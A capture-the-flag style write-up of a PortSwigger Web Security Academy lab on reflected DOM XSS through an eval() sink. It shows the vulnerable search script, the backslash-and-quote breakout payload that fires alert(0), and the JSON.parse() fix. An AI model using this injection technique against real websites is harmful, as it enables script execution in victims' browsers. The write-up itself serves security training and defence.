Skip to content

Reflected DOM XSS — eval() Sink via JSON Response

Field Value
Platform PortSwigger Web Security Academy
Vulnerability Reflected DOM XSS — eval() Sink
Difficulty Practitioner
Source search parameter → reflected in JSON API response
Sink eval() in client-side JavaScript
Goal Break out of the JSON string context and execute alert(0)

Phase 1 — Reconnaissance

Initial injection attempts with HTML tags show everything is escaped in the visible response. Inspecting the source reveals an external script:

<script src="/resources/js/searchResults.js"></script>

Reading it:

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();
}

The sink is eval() — it takes the raw JSON response from the server and evaluates it as JavaScript code. The API endpoint:

GET /search-results?search=test
{"results":[],"searchTerm":"test"}

The searchTerm value is reflected directly in the JSON response. eval() then runs:

var searchResultsObj = {"results":[],"searchTerm":"test"}

Phase 2 — Breaking Out of the JSON String

Attempt 1 — inject \":

Sending TETO\"Testing — the server escapes the backslash:

{"results":[],"searchTerm":"TETO\\"Testing"}

The console shows a SyntaxError — the JSON is broken but alert is not executing:

Screenshot

Why the backslash trick works: when we send \", the server escapes it to \\" in the JSON. In the JSON string, \\ represents a single literal backslash — it does not escape the following ". So the " closes the JSON string, and whatever comes after lands outside it as code.

Attempt 2 — inject +alert(0)}//:

Sending TETO\"+alert(0)}//, URL-encoding + as %2B and // as %2F%2F:

/?search=TETO\"%2Balert(0)}%2F%2F

The server returns:

{"results":[],"searchTerm":"TETO\\"+"alert(0)}//"}

eval() receives:

var searchResultsObj = {"results":[],"searchTerm":"TETO\\" + alert(0)}//"}

Breaking it down:

"TETO\\"        ← the searchTerm value (string ending with a backslash)
+               ← string concatenation operator — now outside the string
alert(0)        ← function call — executes here
}               ← closes the JSON object
//              ← comments out the remaining "}
Screenshot

Alert fired. Lab solved.


Why eval() is the Most Dangerous Sink

eval() executes any string as JavaScript code. When attacker-controlled data flows into eval(), the attacker controls what code runs:

// What the developer intended
eval('var searchResultsObj = ' + '{"results":[],"searchTerm":"test"}');
// → assigns a JSON object. Safe.

// What the attacker achieved
eval('var searchResultsObj = ' + '{"results":[],"searchTerm":"TETO\\" + alert(0)}//"}');
// → assigns the object AND calls alert(0).

The core problem is that the server response is treated as code, not data. The fix is JSON.parse() — which only parses data and cannot execute code:

// Safe version
var searchResultsObj = JSON.parse(this.responseText);

Conclusion

  1. The search script made an XHR request to /search-results, received a JSON response with searchTerm reflected, and passed the raw response string to eval() — the sink.
  2. Sending \" caused the server to escape the backslash to \\", which in JSON means a literal \ followed by " — the " closes the string.
  3. URL-encoding + to %2B placed alert(0) in an executable position outside the JSON string; } closed the JSON object; // commented out the trailing stray ".
  4. eval() executed the resulting JavaScript and alert(0) fired.